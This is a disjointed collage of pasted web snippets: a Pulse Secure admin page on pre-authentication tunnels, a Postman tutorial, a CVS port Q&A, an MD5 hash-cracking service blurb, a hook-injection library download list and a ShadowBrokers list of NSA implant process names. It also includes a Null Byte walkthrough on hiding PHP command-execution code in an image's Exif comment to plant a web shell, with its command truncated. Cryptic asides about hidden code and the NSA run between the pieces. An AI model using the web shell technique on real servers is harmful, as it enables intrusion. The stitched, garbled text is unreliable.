ok...where they hide the code behind the firewall ? on Manifest.cf - so its a tunnel definition code when HTML5 is caching on all Manifest files

Defining Host Checker Pre-Authentication Access Tunnels

If your policies require Host Checker rules or third-party J.E.D.I. DLLs to access a policy server (or other resource) to check compliance before users are authenticated, you can use one of the following methods to make the resource available to the Host Checker Windows clients:

• Deploy the policy server in a DMZ where Host Checker rules or third-party J.E.D.I. DLLs can access the server directly instead of going through Connect Secure—This deployment is the simplest solution because you do not have to define a Host Checker pre-authentication access tunnel through Connect Secure between clients and the policy server.
• Deploy the policy server in a protected zone behind Connect Secure (Windows only)—This deployment requires you to define a pre-authentication access tunnel. A pre-authentication access tunnel enables Host Checker rules or third-party J.E.D.I. DLLs to access the protected policy server or resource before the system authenticates users. To define a pre-authentication access tunnel, you associate a loopback address (or hostname) and port on the client with an IP address and port on the policy server. You add one or more tunnel definitions to a MANIFEST.HCIF file, which you then upload to Connect Secure. You can upload multiple MANIFEST.HCIF files to Connect Secure. For all third-party policies enabled on a realm, Host Checker creates tunnels for all of the tunnel definitions in all of the MANIFEST.HCIF files, assuming the definitions are unique.

While running on a Windows client, Host Checker listens for a connection on each loopback address and port you specify in the tunnel definitions. The connections can originate from the integrated Host Checker rules and from client-side or server-side J.E.D.I. DLLs. Host Checker uses the pre-authentication access tunnel(s) to forward the connections through Connect Secure to the policy server(s) or other resource.

Figure 91: Host Checker Creates a Tunnel from a Client to a Policy Server Behind Connect Secure

Note: Host Checker pre-authentication access tunnels are supported on Windows only.

Related Topics

• Specifying Host Checker Pre-Authentication Access Tunnel Definitions

https://docs.pulsesecure.net/WebHelp/Content/PCS/PCS_AdminGuide_8.2/Defining%20Host%20Checker%20Pre.htm

  shadow brothers process.docx by Elsa Cristina David on Scribd

MD5 THIS

http://md5this.com/

This is the new and improved version of md5 engine.If you put an md5 hash in it will search for it and if found will get the result. This is the beta 0.23 of this engine. You can see the queue of the hashes here. Bots will run thourgh the queue and use various techniques to crack the hashes.

Security question, please solve

J1M RIG L U 7 K K DU3 BDP BNF G K O 4 N A DBD 7MJ 2AT

LinuxCBT Debian 7.x - Snort NIDS Sniffer (69/72)

Extracting data from responses and chaining requests

Postman lets you write scripts that run before/after you receive a response from the server. You can do practically anything in these scripts. The pre-request and test scripts run inside a sandbox and Postman provides the postman object to interact with the main Postman context.

This opens up a number of new possibilities. One of them is extracting values from the response and saving it inside an environment or a global variable. Environment and global variables let you keep track of everything that affects API state. Some examples of common variables you would use with an API are session tokens and user IDs.

The flow while working with variables currently goes like this:

1. Send a request from Postman
2. Receive the response and select and copy a value from the response body or the header
3. Go to the environment manager
4. Set the variable value
5. Hit submit

This works, but is a lot of work if you have more than a few variables. Test scripts dramatically simplify this flow. All you have to do is call postman.setEnvironmentVariable(key, value) or postman.setGlobalVariable(key, value) to set a variable with values you have extracted from the response. You can even add something dynamically generated through Javascript.

Lets go through an example which will illustrate this in more detail:

1. Create and select an environment

For this example, we'll create and set a blank test environment.

2. GET request to get response body

This request returns a JSON body with a session token. For this dummy API, the token is needed for a successful POST request on the '/status' endpoint. To extract the token, we need the following code.

1 2	var jsonData = JSON.parse(responseBody); postman.setEnvironmentVariable("token", jsonData.token);

Add this to the test editor and hit send. Hover over the quick look window (q) to check that the variable "token" has the value extracted from the response

3. POST request with the previous session token

To send the token, we need to set it as part of the POST request. Let's add a form-data variable to the '/status' request.

On hitting send, Postman sends the token along with the request.

Test scripts let you extract variables and chain together requests in any way you like. As request variables work everywhere, you can build a sequence of API calls which exactly mirror your use case.

You can download the sample collection  and import it inside Postman. Check out the docs for more Postman features. There are more tutorials planned in this series. Keep a tab on this blog as well as the Twitter account for more tips and tricks. And do get the Jetpacks upgrade!

http://blog.getpostman.com/2014/01/27/extracting-data-from-responses-and-chaining-requests/

DO YOU WANT A PRIVATE CHAT NON NSA CONTROLLED?

Question:How do I configure the CVS PServer to use a different port value than the default?
Answer:
You may do this from the commandline in the following way:

Windows:

set CVS_PSERVER_PORT=

Linux:

export CVS_PSERVER_PORT=

LATEST COMMENTS     

Move mouse over comment to see the full text

Reply  Posted by Clebert Rezende Suconic on May 14 2002

re: How do I set a custom CVS PServer port?

You have also to upgrade /cvs.exe (or just cvs, if are you using Linux) to 1.11p if you really want to use a custom pserver CVS port. Clebert

Reply  Posted by Clebert Rezende Suconic on May 14 2002

How do I set a custom CVS PServer port?

There is a mistake at this document... The right variable name is CVS_CLIENT_PORT instead the used name! Clebert Suconic

https://edn.embarcadero.com/article/27543

Upload a Shell to a Web Server and Get Root (RFI): Part 1

wWhen we hack a web server, we usually want to be able to control it in order to download files or further exploit it. There are many websites that let you upload files such as avatar pictures that don't take the proper security measures. In this series, I will be showing you how to gain root access to such a web server.

For part 1, we will be trying to upload a PHP file that allows us to control the system.

Requirements

We are going to need Nmap for this part of the tutorial.

Step 1Scan the Server

For this tutorial, I have setup a vulnerable server on my network. Let's scan it.

Nmap found two open ports: 80 and 22, so we know that the server has both HTTP and SSH services. At this point, we could use Hydra to crack the root password on SSH, but that is not the point of this tutorial. Let's visit the webpage...

Step 2Upload Attempt

Let's view the upload page...

The form tells us that the file must be either a .jpeg, a .jpg, or a .png file. But, just in case, we'll try to upload a malicious PHP file.

Darn it. It doesn't upload. But what if we add our malicious code to the Exif data of a picture file?

Step 3Backdooring an Image

In order to upload our shell, we need to use a legitimate picture file. In order to get our code to run, we need to add the PHP code to the Exif data. Enter this command:

exiftool -Comment="

The \$_GET'cmd'); code is what reads our command, and the _halt_compiler(); prevents the file-checking system from reading on with the binary data.

Now PHP code that let's us run commands is backdoored into the comments. Rename the file to picture.php.jpeg so that the website is forced to process the PHP code.

Step 4Trying Again

Now, let's upload our backdoored file.

Yes! It worked! Now we can use commands to control it with our web browser.

Look! We were able to get system info!

Until Next Time...

Now that we have control over the system, we will be looking for ways to upload our payload to the server next, and hopefully get an interactive shell.

https://null-byte.wonderhowto.com/how-to/upload-shell-web-server-and-get-root-rfi-part-1-0162818/

Ok....where the hell is the stand alone plug in executable on iexplore.exe?

READ ALSO : Wow64 User-mode System Calls Hooking http://waleedassar.blogspot.pt/2012/07/wow64-user-mode-system-calls-hooking.html

injecthooklib https://code.google.com/archive/p/injecthooklib/downloads

File	Summary + Labels	Uploaded	Size
FindWindow_xp.dll	FindWindow - XP	Nov 19, 2013	280KB
dumpSysCalls_bypass_xp.dll	DumpSysCall - XP (Trick Bypass)	Nov 19, 2013	292KB
dumpSysCalls_xp.dll	DumpSysCall - XP (No Trick Bypass)	Nov 19, 2013	280KB
InjectHookLib.rar	InjectHookLib.dll - Source code	Sep 6, 2012	685.84KB
InjectHookLib.dll	InjectHookLib.dll - Injector DLL - OllyDbg plugin	Sep 6, 2012	24KB
FindWindow.dll	FindWindow	Jul 26, 2012	292KB
FindWindow_vc8.rar	Example (2) Source code of FindWindow.dll (MS VC++ 8.0)	Jul 26, 2012	1.78MB
FindWindow.rar	Example (2) Source code of FindWindow.dll (MS VC++ 6.0)	Jul 26, 2012	18.05KB
dumpSysCalls.dll	dumpSysCalls	Jul 26, 2012	524.11KB
dumpSysCalls_vc8.rar	Example (1) Source code of dumpSysCalls.dll (MS VC++ 8.0)	Jul 26, 2012	1.84MB
dumpSysCalls.rar	Example (1) Source code of dumpSysCalls.dll (MS VC++ 6.0)	Jul 26, 2012	18.8

  AIR GAPPED STUXNET VIRUS DISK EXFILTRATION.pdf by Elsa Cristina David on Scribd

  Fansmitter-1 air gap virus nsa stuxnet.pdf by Elsa Cristina David on Scribd

#ShadowBrokers Processes Link:https://gist.github.com/botherder/6dc543263908cac029b47d11d135216e

 #ShadowBrokers Processes

	clocksvc.exe|*** PATROLWAGON ***|SAFE
	help16.exe|*** SOMETHING YOU UPLOADED??? ***|SAFE
	iexplorer.exe|*** UNITEDRAKE INSTALLER *** or RapidBlaster Virus|SAFE
	msalgmon.exe|*** VALIDATOR ***|SAFE
	mscache32.exe|*** FRIENDLY TOOL - Seek Help ***|SAFE
	mscfg32.exe|*** UNITEDRAKE ***|SAFE
	msdnsche.exe|*** FRIENDLY TOOL - Seek Help ***|SAFE
	msmmc32.exe|*** FRIENDLY TOOL - Seek Help ***|SAFE
	msntfs.exe|*** FRIENDLY TOOL - Seek Help ***|SAFE
	msregstr.exe|*** VALIDATOR ***|SAFE
	msscd16.sys|*** VALIDATOR ***|SAFE
	mssvcmn.exe|*** VALIDATOR ***|SAFE
	mswdssvc.exe|*** VALIDATOR ***|SAFE
	nddaegnt.exe|*** MOSSFERN ***|SAFE
	spcss32.exe|*** EXPANDINGPULLY ***|SAFE
	update.exe|*** DMW ***|SAFE
	vmm.exe|*** FRIENDLY TOOL - Seek Help ***|SAFE
	ncmsvc.exe|*** FRIENDLY TOOL - Seek Help ***|SAFE
	ncrsvc.exe|*** FRIENDLY TOOL - Seek Help ***|SAFE
	ncssvc.exe|*** FRIENDLY TOOL - Seek Help ***|SAFE
	dinput.exe|*** FRIENDLY TOOL - Seek Help ***|SAFE
	msdtc32.exe|*** DMW ***|SAFE
	drsd.exe|*** FRIENDLY TOOL - Seek Help ***|SAFE
	msacm32.exe|*** EXPANDINGPULLY ***|SAFE
	msdtctm.exe|*** EXPANDINGPULLY ***|SAFE
	msimg32.exe|*** EXPANDINGPULLY ***|SAFE
	mstscax.exe|*** EXPANDINGPULLY ***|SAFE
	w32topl.exe|*** EXPANDINGPULLY ***|SAFE
	igfxcpl.exe|*** EXPANDINGPULLY ***|SAFE
	msgki.exe|*** GROK ***|SAFE
	msgkd.exe|*** GROK ***|SAFE
	msgku.exe|*** GROK ***|SAFE
	alg32.exe|*** DISABLEVALOR ***|SAFE
	msdirectx.exe|*** UNITEDRAKE ***|SAFE
	winproc.exe|*** FOGGYBOTTOM ***|SAFE
	msdcsvc.exe|*** MORBIDANGEL ***|SAFE https://gist.github.com/botherder/6dc543263908cac029b47d11d135216e